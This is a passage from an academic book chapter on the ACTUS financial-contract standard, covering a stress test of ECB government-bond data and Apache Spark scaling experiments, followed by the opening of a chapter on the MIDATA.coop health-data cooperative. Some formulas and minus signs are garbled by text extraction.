project centers on representing a financial contract as a set of contingent cash flow
elements. In clear terms: who pays how much, to whom, when, and under what
circumstances?”

More specifically, ACTUS, which stands for Algorithmic Contract Types
Unified Standards, is creating an open-source standard representation of financial
contracts (FCs), which are the basic building blocks of the financial system. The
goal is to provide a common basis for forward-looking financial analysis of granular
transaction and position data based on a rigorous way of modeling financial con-
tracts. FCs are well-defined special-purpose legal contracts—also called financial
instruments or securities—that control the cash flows exchanged between
counterparties. Examples are stocks, bonds, futures, swaps, and options. The rules
enshrined in an FC define the cash flows to be exchanged between the parties
involved. The generated cash flow stream depends, however, also on external factors
whose future evolution is not known, such as market interest rates or, more gener-
ally, the state of the economic and financial environment called risk factors in the
following. It is these risk-factor state-contingent cash flows generated by an FC that
are the starting point for all financial analysis. This is why we propose that a reliable
and flexible analysis should always go back to the cash flow streams generated by
the FCs.
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ACTUS develops and makes publicly available (1) a universal data model
covering the various terms of financial contracts, and (2) a machine-executable
method to evaluate the financial implications of their legal obligations in the form
of contract algorithms that use the contract terms and the risk factors as input and
generate the contracts’ future cash flows conditional to the state of the risk factors.
ACTUS is pursuing the aim to make its contract types a global data standard for
financial contract representation.

As two the second point, a Big Data environment is required because (1) financial
institutions hold millions of FCs on their books and the whole financial system is
estimated to consist of billions of FCs and (2) in order to assess the riskiness of the
current situation, the cash flows generated by all those FCs must be simulated many
times for different possible future states of the risk factors by means of so-called
stress tests or by Monte Carlo simulations (Glassermann 2013), the latter method
requiring thousands of different risk factor scenarios for an acceptable analytical
quality. We are thus confronted with the task of calculating and analyzing the cash
flow streams of up to trillions of FCs in a manageable time and of managing the
tremendous data volumes of the order of Petabytes of cash flow data generated by the
approach outlined above. It is obvious that such tremendous data volumes must be
drastically reduced in the process of financial analysis before being presented to
human analysts.

In the following, we present two types of results using ACTUS contract types and
state-of-the-art Big Data technology:

• An ACTUS proof-of-concept provided by the prototype implementation of a
stress test by means of a stylized Monte Carlo simulation using real contract data
from the Centralized Securities Database (CSDB) of the European Central Bank.
The CSDB contains this information for all securities issued in euros or in the
European Union or held by European resident entities. This adds up to about
seven million financial securities. We have mapped a part of these instruments on
the ACTUS standard and analyzed a pilot portfolio using the ACTUS algorithms
in a prototype environment.

• We describe how to design and implement a framework for financial calculations
based on state-of-the art Big Data technology to enable large-scale, data-intensive
computations. Afterward, we discuss our performance results of a parallel exe-
cution of the core ACTUS algorithms in an Apache Spark Big Data environment.
Indeed, until now it has not been demonstrated that existing algorithms can
(1) scale to Terabyte or even Petabyte-scale data sizes and (2) finish the calcula-
tions within a reasonable amount of time. The results presented here for a
prototype system similar to the one used for the proof of concept indicate that
this goal can indeed be achieved in all likelihood.

The remainder of this chapter is organized as follows. In Sect. 2 we present the
ACTUS concept. Section 3 is devoted to the presentation of the financial analysis
and the stress testing results while the results of ACTUS in the context of Big Data
technology are described in Sect. 4. Section 4 can be directly accessed by the reader
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without a deeper reading of Sect. 3, if so desired. Section 4.2.2, finally, discusses our
findings and conclusions.

2 The ACTUS Approach

In the following, we sketch the ACTUS concept of standardization of financial
contract modeling and analysis (Algorithmic Contract Type Unified Standards
2017), which is based on the methodology presented in Brammertz et al. (2009).
The analytical process is organized in the form of a data supply chain as depicted in
Fig. 21.1. The main parts are as follows:

• Financial contracts play the central role in this model. They consist of contract
data and algorithms. The contract algorithms encode the legal contract rules
important for cash flow generation (who is paying how much, when, to whom,
and under which circumstances), while the contract data provide the parameters
necessary for the full contract specification. A typical example is a government
bond with a principal value of US$1000, a 2% coupon rate, time to maturity of
7 years, and yearly coupon payments. For the holder, this bond generates a yearly
cash flow of US$20 for 7 consecutive years and an additional cash flow of US
$1000 at maturity for paying back the principal values.

• Risk factors determine the state of the economic and financial environment. They
are further divided into factors for market risk, for counterparty risk, and for all
the remaining risk factors lumped together in a third catch-all category called
“Behavior.” The important property of risk factors is that their future state is

Fig. 21.1 Overview of data flow in the ACTUS framework
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unknown. The most important market risk factors are interest rates, foreign
exchange rates, and stock and commodity indices. Counterparty risk factors
typically consist of credit ratings and/or default probabilities.

• In order to generate the cash flows encoded in a contract, both contract data and
risk factor information are needed. The reason is that the contract rules often refer
to market information such as interest rates in the case of a variable rate bond. We
explicitly emphasize that the separation of risk factors and contracts is important
because it separates the known from the unknown: the contract rules are deter-
ministic (known), while the future development of risk factors is unknown. For a
given risk factor scenario, that is, an assumed future development of the values of
the risk factors, the future development of the state of a contract and the cash
flows it generates is completely determined and can be derived by the ACTUS
contract algorithms.

• The raw results are cash flow streams together with some auxiliary information
obtained as output of the contract algorithms. Assuming n contracts and k risk
factor scenarios, there will be n � k cash flow streams consisting on average of
about 20–50 events each. Since there are millions of contracts on a bank’s balance
sheet and an MC simulation does contain up to 10,000 or even more risk factor
scenarios, the size of the data can easily be of the order of tens or even hundreds
of terabytes for large institutions. This requires the use of Big Data technologies.

• Different types of financial analysis such as liquidity and solvency calculations
are carried out on top of the raw results, referred to as analytical outputs or
analytical results. This encompasses income analysis, sensitivity analysis and
different kind of risk measures. Important is the possibility to flexibly transform
and aggregate the raw data according to different analytical criteria.

3 Stress Testing of a Fixed Income Test Portfolio

In this section, we describe the ACTUS proof-of-concept that consists of the
following steps: (1) mapping selected data from the data source onto the ACTUS
format in order to establish the portfolio to be analyzed; (2) defining a suitable risk-
factor environment and running the ACTUS algorithms on all contracts in the
portfolio and all risk factor scenarios, which results in the raw results; (3) using
the raw results for different types of financial analysis. Notice that the Big Data
Spark environment has so far only been used for step 2. The corresponding results
are presented in Sect. 4. Those readers who are interested mainly in the data science
aspects and less in the details of the financial analysis may skip Sect. 3.3.
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3.1 Mapping CSDB Data into the ACTUS Format

The data source for this proof of concept has been the centralized securities database
(CSDB), which is jointly operated by the European System of Central Banks
(ESCB) and aims to provide accurate and complete reference information of fixed
income, equity, and fund instruments on a security-by-security basis. The CSDB has
been designed as a multi-versatile system to provide data for multiple usages,
spanning from analysis of data at its most granular level to aggregated time series
data. It has not been tuned for only one single purpose, namely, supporting stress
tests. Indeed, stress-testing securities requires a number of key information fields at
the level of the single security spanning from instrument and issuer classifications
and cash flow information to individual ratings. For our exercise, most of the fields
could have been used with high quality from the CSDB. However, it turned out that
the information on the underlying reference rate and the fixing formula for floating/
variable rate instruments was not available with sufficiently high quality and cover-
age. Thus, the proof of concept used only fixed rate securities from the CSDB to be
mapped into the format of ACTUS.

A first step of the mapping consists of identifying the ACTUS contract type
that matches the cash flow patterns of the source securities. In our case, this turns
out to be the Principal At Maturity type (Algorithmic Contract Type Unified
Standards 2017). Once the Principal At Maturity type is identified, the ACTUS
data dictionary (ACTUS Data Dictionary 2017) provides the associated data ele-
ments, that is, the contract terms such as ContractID, LegalEntityIDCounterparty,
InitialExchangeDate, MaturityDate, NominalInterestRate, etc. Then, in a second
step, a mapping between these data elements and the respective data fields in the
source database (i.e., the CSDB) is required.

3.2 Running the ACTUS Algorithm with Suitable Interest
Rate Scenarios

Fixed rate government bonds pay a fixed interest rate (so-called coupon rate) during
their lifetime and, in addition, pay back the principal at maturity, except when the
issuer defaults (fails) on its obligations. Thus, the generated cash flow streams do not
depend on the interest rate curve and are only subject to credit risk. Valuation,
however, requires discounting with the prevailing yield curve and thus is also subject
to interest rate risk. Financial analysis, therefore, requires an interest rate model and a
credit risk model. In addition, these models must be formulated relative to the
analysis date, which has been fixed as of May 1, 2015.

At this step of the analytical process, we take into account only interest rate risk.
Credit risk is taken into account only at a later state of the analysis (cf. Sect. 3.3).
Since all securities are denominated in EUR-currency, we used the Euro-Area
AAA-rated government bond implied yield curve published daily by the ECB
(European Central Bank 2017) as an interest rate model for discounting. As base
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scenario we used the spot interest curve (IRC) as of the analysis date (see
Table 21.1). In addition to these “base scenarios,” we define a set of 100 different
modifications of the IRC that we use as economic shock scenarios under which the
value of the government bonds has to be reevaluated.

Then, the cash flow simulation by means of the ACTUS algorithms have been
executed for the combinations of all the 3809 Euro-denominated fixed-rate govern-
ment bonds in the portfolio and all the interest rate scenarios (which consist of the
base interest rate scenario as well as the 100 shocked scenarios). The ACTUS
framework is implemented in Java; it can be accessed through an R-interface that
also offers a convenient means to carry out complex statistical operations on the
ACTUS data. The simulation has been controlled by an R-script that uses the
R interface to the ACTUS Java library provided by the package rActus (rActus
2017). The result is a table of about 3.8 million rows containing the raw results in
form of the state-contingent cash flows of all the contracts and for all the risk factor
scenarios. Table 21.2 displays the rows for two contracts and the base scenario.

3.3 Financial Analysis by Aggregation of the Raw Results

From the raw results the following types of financial analyses have been computed:
(1) liquidity analysis without credit risk; (2) solvency analysis consisting of valua-
tion under consideration of interest rate risk; (3) liquidity analysis under consider-
ation of credit risk, which is taken into account only at the level of the analysis and
results in a modification of the results obtained under item (1). The influence of
credit risk on the valuation results (i.e., the so-called Credit Valuation Adjustment)
has been omitted at this stage.

3.3.1 Liquidity Analysis Without Credit Risk

Since our test portfolio has long positions only, there are only incoming cash flows.
Since our portfolio consists only of fixed rate bonds and credit risk has not been
considered at simulation level, the simulated cash flows are fully deterministic.
Figure 21.2 displays the yearly cash flows, aggregated by type (principal or interest
payments) at the left and by countries at the right. Notice the diminishing interest
payments over time (green part) as more and more bonds mature. The increase in

Table 21.1 Euro-Area AAA-rated government bond implied yield curve published daily by
the ECB (European Central Bank 2017)

Tenor 1 Yr 2 Yrs 3 Yrs 4 Yrs 5 Yrs 6 Yrs 7 Yrs

Rate �0.26 �0.21 �0.13 �0.05 0.03 0.115 0.2
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interest payments from the first to the second year is due to the fact that the
aggregation has been carried out with respect to calendar years so that only 8 months
were left from the analysis date till the end of 2015.

3.3.2 Valuation

Valuation requires discounting the cash flows with the prevailing IRC. Given the
base interest rate scenario, that is, the IRC introduced in Table 21.1, this yields the
following result for the example of the bond mentioned above with 1000 € principal,
yearly coupon payment of 2% and 7 years’ time-to-maturity:

20
1

0:9974
þ 1

0:99792
þ 1

0:99873
þ 1

0:99954
þ 1

1:00035
þ 1

1:001156

� �

þ 1020

1:0027
¼ 1125:92

This is an example for the type of calculations that are so fundamental for banks
and must be carried out for any of the millions of contracts on a large bank’s balance
sheet in order to compute the market value of its portfolio.

A shock resulting in an increase of the interest rates of 1 percentage point will
increase the denominators in the fractions and result in a decrease of the NPV to
1054.29 €, that is, a loss of its mark-to-market value of more than 6%. Taking into
account 100 different shock scenarios results in a distribution for the bond’s value.
Carrying out this computation for all bonds and all the interest rate scenarios defined
in Sect. 4.2 results in the histogram of the portfolio value displayed in Fig. 21.3.
From this figure a risk measure such as the 99% Value-at-Risk (cf. red line) can be
derived. Notice, however, that the cash flows have not changed because, as already
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Fig. 21.2 Aggregate liquidity generated by central government issued bonds ordered by (left) cash
flow type and (right) country of issuance
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mentioned above, the interest to be paid is set to fixed rates in the contracts so that the
cash flows are not subject to interest rate risk.

3.3.3 Liquidity Analysis with Credit Risk

To take into account credit risk, a suitable credit risk model is needed. According to
the general ACTUS logic, this should be defined at input level. However, due to the
particular nature of credit risk it is possible to discard credit risk for the cash flow
simulation and take it into account only when carrying out the analysis.2

Credit risk has been accounted for by weighting every cash flow with (1—default
probability), where the 1-year default probability has been derived from the credit
risk rating of the issuing country. One-year default probabilities are listed in the last
column of the credit risk migration matrix displayed in Table 21.3. Default proba-
bilities for n years are obtained by using the migration matrix as transition matrix in a
Markov model [often referred to as CreditMetrics™ model (CreditMetrics 2017)],
which uses the credit risk migration matrix as transition matrix for the changes of the
credit rating from 1 year to the next. The second line of this table, for example,
contains the transition probability of an AA rating to the other rating classes. In
particular, the probability of an AA-rated counter-party to default within 1 year is
0.01%.

The result of the n-year liquidity is displayed in Fig. 21.4. The heights of the bars
indicate the liquidity without credit risk as in Fig. 21.2 but here the cash flows are
ordered with respect to their credit ratings. The red line shows the expected yearly
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2To be precise, this is true only for simplified models of the kind considered here. The technical
reason this can be done is that this type of credit risk models only require evaluating simple
functions on the cash flows without the need to use the ACTUS algorithms.
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cash flows computed with the probabilities of the migration matrix. Notice that they
are smaller than those indicated by the bars and that the difference increases with
time. Indeed, after 1 year, only about 20% of the speculative (CCC rated) bonds have
defaulted while due to the credit migration effect, after 10 years practically all those
bonds have defaulted. The error bars have been obtained through a simulation of a
CreditMetrics™-type Markov model governed by the same credit migration matrix.

4 ACTUS in a Big Data Context

In this section, we describe our performance experiments of ACTUS in a cloud
computing environment with different numbers of compute nodes. The main goal is
to demonstrate the scalability of the ACTUS framework, which is indispensable for

Table 21.3 Migration matrix for credit risk ratings

AAA AA A BBB BB B CCC Default

AAA 93.66 5.83 0.40 0.08 0.03 0.00 0.00 0.00

AA 0.66 91.72 6.94 0.49 0.06 0.09 0.02 0.01

A 0.07 2.25 91.76 5.19 0.49 0.20 0.01 0.04

BBB 0.03 0.25 4.83 89.26 4.44 0.81 0.16 0.22

BB 0.03 0.07 0.44 6.67 83.31 7.47 1.05 0.98

B 0.00 0.10 0.33 0.46 5.77 84.19 3.87 5.30

CCC 0.16 0.00 0.31 0.93 2.00 10.74 63.96 21.94

Default 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
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the use of ACTUS for large banks or the whole financial system. We first discuss the
design considerations for building a system based on Big Data technology. Then, we
experimentally evaluate our approach based on two different Apache Spark (Zaharia
et al. 2016) implementations. The first implementation is based on Spark-R, while
the second is based on Spark-Java.

4.1 System Architecture and Design Considerations

We will first revisit the main components of the ACTUS framework and use them as
the basis for discussing the architecture of the Big Data system. As shown in
Fig. 21.1, the main components are:

• Contract terms: These quantities contain intrinsic information about financial
contracts. They can be modeled as a database table consisting of n contracts and
m attributes, such as initial exchange date, nominal value, etc.

• Risk factors: These quantities model the relevant part of the environment
external to the contracts technically, they can be considered as a set of multivar-
iate time series events of various interest rates, foreign exchange rates, or other
market observations. Typically, financial analysis means evaluating the financial
contracts under a specific or multiple scenario paths for these risk factors. Hence,
similar to contract terms, risk factors can be modeled as a database table of k risk
factor scenarios for t risk factor variables where each data point describes, for
instance, the interest rate for a certain term at a certain point in time and in a
certain scenario.

In order to calculate the cash flows of all financial contracts, the contract terms
need to be combined with the risk factor scenarios as input for contract-specific
calculations. In more abstract database terminology, the combination of contract
terms and risk factor scenarios requires the calculation of a cross product (Kent
1983), that is, all pairs of contract terms combined with risk factor scenarios.
Moreover, the calculation of the cash flows can be considered as a user defined
function (Linnemann et al. 1988) that has to be applied on the cross product. Note
that the user defined function can be any financial calculation of arbitrary
complexity.

The combination of contract terms and risk factor scenarios results in complex
calculations typically yielding a large number of cash flows, making it hard to
calculate the cash flows in a reasonable time frame. For instance, a large bank
might have on the order of 107 contract terms and 103 risk factor scenarios, which
result in 1010 cash flow streams. If we assume that the output size of one cash flow
stream is about 5 KB, then the total number of all cash flow streams is of the order of
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50 TB.3 If we further assume that we do not only want to calculate the cash flows for
a single bank but for all the banks in the Euro Area or the European Union, the total
size of the simulated cash flow streams is expected to be two to three orders of
magnitude larger, that is, resulting in up to 50 PB.

Let us analyze what kind of Big Data approach we can use to tackle the above-
mentioned challenge. In general, we can choose among the following parallel
processing paradigms (Subhlok et al. 1993; Ramaswamy et al. 1997; Kambatla
et al. 2014):

• Task parallelism: This kind of paradigm splits a task into subtasks and executes
each subtask on a potentially different compute node4 of the computer cluster. In
other words, each node potentially executes a different task. This approach
assumes that tasks can be modeled mathematically based on a certain cost
model and allows analyzing the impact of splitting the tasks in an optimal way
such that the workload is evenly distributed among the compute nodes. The main
challenge with this approach is that it is often nontrivial to optimally schedule the
subtasks in such a way that some compute nodes are not underutilized while
others are not overutilized, thus hampering the scalability of the approach.

• Data parallelism: Rather than splitting the tasks, this kind of parallelism splits
the data and distributes it among the compute nodes in the computer cluster. In
this approach, each compute node executes the same task but potentially on a
different part of the whole data set. The main challenge with this approach is that
distributing the data can result in significant communication costs when input
data or intermediate results need to be shipped from one compute node to another
over a computer network.

When designing a Big Data architecture, one needs to keep these two basic
paradigms in mind. What is more, the design choice largely depends on the type
of (parallel) computing problem. For instance, some types of computing problem
are so-called embarrassingly parallel (Wilkinson and Allen 2005); they do not
require any particular communication between the parallel tasks. A typical example
is a Monte Carlo analysis, where each Monte Carlo path can be calculated indepen-
dently from the others and the final analysis only requires the aggregation of the
individual outcomes into the final result. On the other hand, some types of comput-
ing problems require intensive communication between the tasks. Consider, for
instance, a simulation of atom models where atoms interact with each other. This

3Obviously, the size of a cash flow stream differs for different financial contracts. For example,
while a zero-coupon bond produces essentially two cash flows, or events more generally, a 30-year
government bond with annual interest payments results in 2 (initial notional payment and repay-
ment of notional at maturity) + 29 (annual interest payments)¼ 31 events. Further, for variable rate
instruments interest rate resets must be taken into account, which further increases the number of
events and consequently the size of the cash flow stream. Hence, the value of 5 KB for the size of a
contract’s cash flow stream is meant to be an average while the actual size of a contract’s cash flow
stream will strongly depend on the exact configuration of the contract under consideration.
4In Apache Spark, a compute node is referred to as worker node or simply worker.
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kind of problem is the hardest to optimize since it requires modeling complex
dependencies and hence it is often not easy to evenly balance the workload among
the compute nodes in the cluster.

Luckily, the problem of calculating cash flows for financial contracts is an
embarrassingly parallel problem that can relatively easily be implemented with a
data parallelism paradigm.

We have chosen to implement our approach with Apache Spark, which is based
on the data parallelism paradigm. The main idea of Spark is that data can be
distributed among the compute nodes by leveraging a parallel file system such as
Hadoop Distributed File System, HDFS (Borthakur 2008), Amazon’s S35 file
system, or others. According to the paradigm of data parallelism, Spark distributes
the tasks among the compute nodes such that each compute node executes the same
task but on a different subset of the data.

4.2 Experiments with SparkR

4.2.1 Experimental Setup

For our experiments, we have implemented the ACTUS functionality with Apache
Spark. In particular, we have used SparkR data frames as the main building blocks
for parallel computation. We have chosen SparkR since the majority of the financial
calculations by end users are implemented in R while the ACTUS backend is
implemented in Java.

The experiments have been executed on Amazon Web Services using up to
8 nodes with Elastic Map Reduce. Each node has 2 CPUs with 4 GB of RAM.

We measured the performance of generating ACTUS cash flows for various
fixed-income instruments of the ACTUS Principal-At-Maturity type described in
Sect. 2 and under different interest rate scenarios (shocks) (cf. the setup described in
Sect. 3.2). In particular, we have chosen fixed and variable rate bonds with different
coupon frequencies. Further, we have used the same interest rate model with the
100 shock scenarios as described in that section. Obviously, the simulation can be
extended to any type and number of financial contracts and to more general risk
factors and arbitrary shock scenarios.

In order to implement ACTUS in a parallel computing framework such as Apache
Spark, the first design choice is the granularity of parallelism. The seemingly most
natural way to parallelize the computation is to split the number of contracts by the
number of nodes and have each node calculate the cash flows for a certain number of
contracts. Unfortunately, this obvious approach turned out to be very inefficient for
SparkR. The reason is the large overhead generated by the communication of the

5https://aws.amazon.com/s3/
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R objects with the Java objects as implemented in the R-package rActus.6 As an
alternative, we partitioned the number of shock scenarios. This approach turned out
to scale much better (Prenaj and Rizza 2016) since all contracts of the test portfolio
could be read in one go, which reduced the communication overhead between R and
Java significantly. However, the disadvantage is that the parallelism scales only to
the number of shock scenarios—which was 100 in our case.

4.2.2 Results

Before carrying out the scalability analysis, we measured the time needed for
generating the cash flows on a single compute node in the traditional
R environment. In particular, we varied the number of contracts between 100 and
2000, and used 100 interest rate scenarios (shocks). Next, we measured the perfor-
mance of ACTUS with SparkR on 1, 2, 4, and 8 compute nodes (Prenaj and Rizza
2016).

Fig. 21.5 Performance results for SparkR parallelizing by shock scenario. The execution time is a
linear function of the number of contracts for different number of workers

6Note that the additional overhead of converting objects between R and Java is a generic problem
when building programs that interact with two different programming languages.
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Figure 21.5 displays the results where the code is parallelized by shock scenarios.
The execution time as function of the number of contracts is shown in the left panel.
For all cases the points essentially align on straight lines, indicating that execution
time increases linearly with the number of contracts, as expected. The line depicting
the behavior for the traditional (scalar) R environment (light blue) only has a small
positive y-intercept indicating a short initialization time of about 2 s. Running
ACTUS with SparkR on one worker node (black line) results in nearly the same
slope but with a significantly increased initialization time of about 30 s, which is due
to the buildup overhead of SparkR during the initialization phase of the RDD
(resilient distributed data set, i.e., one of the main parallel abstractions in Apache
Spark). As expected, the slopes decrease with increasing number of compute nodes
(workers).

4.3 Experiments with Spark Java

4.3.1 Experimental Setup

For our second set of experiments we implemented ACTUS cash flow generation in
Java using Spark. Rather than parallelizing the code by shock scenario, we now
parallelized the code by contract. Since we have used the Java-interface of Spark,
there is no overhead for converting contract objects between R and Java. Hence, we
expect a significant performance improvement.

The experiments were executed on a Spark cluster with four nodes. Each node has
4 CPUs with 16 GB of RAM.

4.3.2 Results

Figure 21.6 shows the performance of generating cash flows for 106 (left) and 107

(right) contracts. In both cases, we see a behavior similar as in Fig. 21.5b, even
though here, the data points do not align on a perfect straight line. A fitted straight

Fig. 21.6 Performance results for generating cash flows for 106 (left) and 107 (right) contracts. The
code is implemented using the Java-API of Spark. Parallelization is per contract
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line has a slope of �0.87, again shallower than the perfect slope of �1, indicating a
less than perfect scaling behavior. Indeed, given that the calculation of cash flows for
107 contracts takes 106.8 min for one worker, the ideal performance for 16 workers
would be 6.7 min rather than 9.6. However, the scaling is better than for SparkR with
a 45.2% decrease of computation time when the number of workers is doubled.

However, the current implementation allows processing more than 16,000 con-
tracts per second. Assuming that a large bank has some ten million contracts, we can
calculate the resulting cash flows for one risk-factor scenario in only about 10 min.7

5 Discussion and Conclusion

We have shown results concerning the use of the ACTUS standard for future
financial and risk analysis. In particular, we presented (1) a proof of concept with
real bond data obtained from the securities database of the European Central Bank;
and (2) performance results of using ACTUS in a cloud-based Big Data environ-
ment. In particular, the following has been achieved:

• Cash flow results have been derived for a test portfolio of 3809 government bonds
and a Monte-Carlo-like simulation consisting of 100 interest rate scenarios. The
simulation has been carried out and compared with two different Spark-APIs by
means of an R-interface (rActus) to the ACTUS Java library, and a Java-interface
linking in the ACTUS Java library directly.

• Different types of financial analyses have been carried out using these raw cash
flow results. Even though relatively simple, the results show that flexible aggre-
gation according to different criteria as well as drilling down to individual
instruments is possible. Extending this test case to more and different contracts
as well as more sophisticated risk-factor models is straightforward. From a purely
technological point of view, the ACTUS technology is sufficiently general in
order to provide the basis for modeling the whole financial system. This would
make it possible to forecast the financial system’s risk state or part of it using
Monte Carlo simulations.

• The greatest challenge is the task of convincing all the different, very powerful
players to adopt a unique standard or, at least, to provide the information
necessary to carry out the mapping from the variety of bespoke data formats to
the ACTUS standard. This is illustrated by the fact that a mapping of more
complex contract types contained in the CSDB described in Sect. 3 to the
ACTUS standard is currently hampered by the fact that the information required
by ACTUS is not fully available. Similar difficulties would occur with most
existing data warehouses.

7We are currently running experiments with 100 s of workers on Amazon Web Services where we
observed similar scalability characteristics. These results demonstrate that our approach of calcu-
lating cash flows is very promising.
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• The cash flow generating part of the R-Script has been executed on Apache Spark/
SparkR with up to eight worker nodes. Surprisingly, the ACTUS framework
could be parallelized very easily when avoiding excessive communication
between the R objects and the Java objects. The latter could be achieved by
selecting the right type of granularity for parallelization when transforming the
input data set into SparkR data frames. Since R already supports the concept of
data frames, only minimal code changes were required. Unlike other parallel
computing frameworks such as MPI or threads, the Spark abstraction is much
more productive to turn existing code into a scalable application.

• We have implemented two different parallelization strategies (by shock scenario
and by contract) using two different Spark-APIs, namely, SparkR and Java.
However, our results show that SparkR involves significant overhead in the
communication between R and Java objects through the Java Native Interface
(JNI) and has significant scalability issues.

• The scaling behavior of the execution time in a Big Data environment using up to
16 Spark worker nodes is very encouraging. Recent experiments with 100 s of
worker nodes on Amazon web Services show promising results and demonstrate
that our approach is able to scale to hundreds of machines. We assume that the
suboptimal scaling is due to the fact that the communication overhead increases
more than linearly, which is often the case in parallel computing. Optimizing the
scaling behavior requires more thorough work on the parallelization.

To conclude, the results presented here corroborate the belief that ACTUS has the
potential of being a disruptive innovation in the domain of financial and risk
analysis. ACTUS provides the necessary computational infrastructure for an effi-
ciency revolution in financial risk assessment. The adoption of the ACTUS standard
would make it possible to carry out large-scale simulation in finance similar to those
in other fields such as physics, engineering, and supercomputing. However, in order
to deliver on its full potential, ACTUS must be used together with other current
development complementing its capacities, such as the Legal Entity Identifier, which
improves our understanding of who our counterparties are. A system built on these
new technologies will ultimately enable near-time stress tests and Monte Carlo
simulation of financial institutions and ultimately the whole financial system on a
daily basis, similar to the daily weather forecast. Notice that the analogy with
meteorology can be pushed a step further. During the last years, so-called nowcast
methods have been developed for very detailed weather forecasts up to 6 h based on
the extrapolation of the current weather conditions, which are monitored by a dense
network of automated sensors without the use of physical models. Similar tech-
niques relying on the extrapolation of the current state of the economic-financial
environment by a so-called forward-rate model could be used to generate very
detailed short-term forecasts of the financial system’s risk state without the need of
costly Monte Carlo simulations.
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5.1 Lessons Learned for Data Scientists

• Data science is a data-driven field. In finance, and in particular financial risk
analysis, we often use analytical shortcuts because either granular data is not
available or computational resources have not been sufficient in order to work at
the granular level. Nowadays, the latter is not really a problem anymore. We have
shown in this work that working at the level of granular data offers big potential
for financial analysis and reporting. In particular, the complexities in risk aggre-
gation can be reduced greatly, which is important in the light of the latest
regulatory and accounting requirements.

• Modern technology enables conducting financial (risk) analysis at scale (business
unit, department, organization, system) at the granular contract level. Our scaling
analysis has shown that the risk analysis conducted in this work can be
parallelized and distributed among multiple computing units (workers) showing
linear scalability.

• ACTUS provides a formidable basis for data-driven financial (risk) analysis and
reporting.

• An additional point, which could not be discussed in depth, is the separation of
the raw results and the analytical output. Producing the raw results is very time-
consuming, while carrying out the aggregation needed to generate the analytical
outputs requires mainly linear operation. Thus, if the raw results are stored (which
is possible with the current Big Data technologies) special purpose analytical
results can be created quickly on demand. There could even be special companies
providing such services, similar to the companies that currently offer special
purpose meteorological reports.

• To summarize, modern data science methodologies in combination with the
ACTUS data and algorithmic standard provide the technological basis for fre-
quent risk assessment of financial institutions and ultimately the whole financial
system with a potential similar to that of modern weather forecasts.
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Appendix: The European Central Bank’s Centralized
Securities Database

The centralized securities database (CSDB) is jointly operated by the European
System of Central Banks (ESCB) and aims to provide accurate and complete
reference information of fixed income, equity, and fund instruments on a security-
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by-security basis. The reference data of the CSDB is collected from multiple sources
including National Central Banks and various commercial data providers. The
CSDB is using compounding technologies that reconcile the information of instru-
ments (banking products) and their issuers and selects for each single attribute the
value with the highest data quality. The CSDB contains all instruments that are
issued in the European Union or held by European resident entities.

The data model of the CSDB follows a relational structure that allows storing the
data historically and on the most granular level possible. For each single instrument,
the CSDB provides classification and identification measures, reference data includ-
ing credit ratings and time-dependent measures such as prices, outstanding amounts,
number of securities, and detailed cash flow related information like the underlying
coupon and redemption payment structure or dividend data. In addition to the
instrument data, each data source provides information on the respective issuer.
Contrary to instruments, where the International Securities Identification Number
(ISIN) is the established identifier, for issuers no globally unique and complete
identification measure is available. Therefore, the CSDB has implemented a multi-
partite entity resolution algorithm that consistently combines the issuer data from
multiple data sources identified by various proprietary IDs.

In addition to the collection and processing of instrument and issuer reference
data, the CSDB also applies standard algorithms to estimate prices and to derive
standard financial measures such as the yield to maturity, duration, or accrued
interest.

The usages of the instrument and issuer reference data of the CSDB are manifold.
The granular data of the CSDB allows full flexibility in aggregation and drill down
operations. In the field of statistics, the CSDB data can be used to generate time
series of aggregated stocks and transactions (gross issues and redemptions) of issued
securities grouped by various dimensions such as country or economic sector. The
data can be used to monitor refinancing needs of individual issuers observing the
expected replacement costs of outstanding debt that needs to be redeemed.

The availability of credit rating information together with the coupon and
redemption payment structure has the potential to create yield curves and to estimate
yield spreads between different credit rating quality steps.

The flexibility of the CSDB data model was especially useful to map the data into
the ACTUS format, thus serving as input of an ACTUS-based simulation approach.
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Chapter 22
Governance and IT Architecture

Serge Bignens, Murat Sariyar, and Ernst Hafen

Abstract Personalized medicine relies on the integration and analysis of diverse
sets of health data. Many patients and healthy individuals are willing to play an
active role in supporting research, provided there is a trust-promoting governance
structure for data sharing as well as a return of information and knowledge.
MIDATA.coop provides an IT platform that manages personal data under such a
governance structure. As a not-for-profit citizen-owned cooperative, its vision is to
allow citizens to collect, store, visualize, and share specific sets of their health-
related data with friends and health professionals, and to make anonymized parts of
these data accessible to medical research projects in areas that appeal to them. The
value generated by this secondary use of personal data is managed collectively to
operate and extend the platform and support further research projects. In this chapter,
we describe central features of MIDATA.coop and insights gained since the oper-
ation of the platform. As an example for a novel patient engagement effort,
MIDATA.coop has led to new forms of participation in research besides formal
enrolment in clinical trials or epidemiological studies.

1 Introduction

Developing new kind of data-science-based products and services relies more and
more on the analysis of personal data, especially in the medical domain (Dhar 2013;
Jeff Leek 2013). A key question about personal data is by whom and how they are
controlled. Medical data generated in the course of healthcare services are stored by
the healthcare providers and cannot be used for research without the explicit
informed consent of the individual. Health-related data generated by mobile apps,
smartphones, and sensors are collected and stored by the service provider. By
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accepting the general terms of use of the devices or apps, the users usually sign off
the rights of their data reuse to the service provider, thereby ceding control over the
secondary use of their data. Services providers and in general those who control big
amounts of data have little incentive to abandon the siloed approach to data, which in
turn hinders true integration of different personal data sets.

Effective integration of personal data for personal health and precision medicine
will be facilitated if the individuals regain the control over the secondary use of their
personal data (the individual can then decide to hand this control over to a third
party). Article 15 of the new EU general data protection regulation (EU GDPR:
https://www.eugdpr.org) introduces the right to get a copy of such data. In addition,
Article 20 introduces the right to data portability, which enables individuals to
transfer at least parts of their personal data from one service provider to another
and obliges data controllers to have systems in place that allow individuals to realize
their data portability right (Datenschutzbeauftragte 2018). In Switzerland, the federal
council has accepted to evaluate a parliamentary motion for the “Right to a Digital
Copy” of one’s personal data (Derder Fathi 2015). The Swiss Right to a Digital
Copy, if approved, would grant individuals the right to control data reuse. Therefore,
it can potentially empower citizens to actively control the secondary use of their
personal data (Hürlimann and Zech 2016).

As the availability of comprehensive health data is more and more crucial for
better health outcomes, there are worldwide initiatives targeting the patient-
controlled integration of health data. A synonymous term to personal health record,
which is used especially in the USA is “health record banking” (Yasnoff and
Shortliffe 2014), used for example by the Health Record Banking Alliance (Health
Record Banking Alliance 2018). The main goal of this alliance is to increase public
awareness of personal health records and share lessons learned and best practices in
personal health records. A systematic literature review on this topic is provided by
A. Roehrs et al. (2017) that reviewed over 5000 articles. Especially the difference in
